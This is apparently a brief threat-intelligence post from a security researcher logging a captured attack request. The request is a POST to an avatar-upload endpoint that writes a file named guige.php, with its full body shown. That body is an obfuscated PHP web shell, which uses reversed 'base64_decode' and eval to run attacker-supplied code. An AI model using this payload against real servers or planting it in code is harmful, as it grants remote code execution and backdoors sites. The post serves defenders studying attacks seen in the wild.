PHP Injection attempt

Malicious PHP Injection attempt
*************
POST/index.php?a=saveAvatar&m=Uc&g=Home&id=1&photoServer=guige.php&type=big   HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: mysite.com
Content-Length: 87
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36
<?php if(isset($_POST["crazy"])){$a=strrev("edoced_46esab");eval($a($_POST["z0"]));} ?>

******
More FROM @neonprimetime security

http://pastebin.com/u/Neonprimetime
https://www.virustotal.com/en/USER/neonprimetime/
https://twitter.com/neonprimetime
https://www.reddit.com/USER/neonprimetime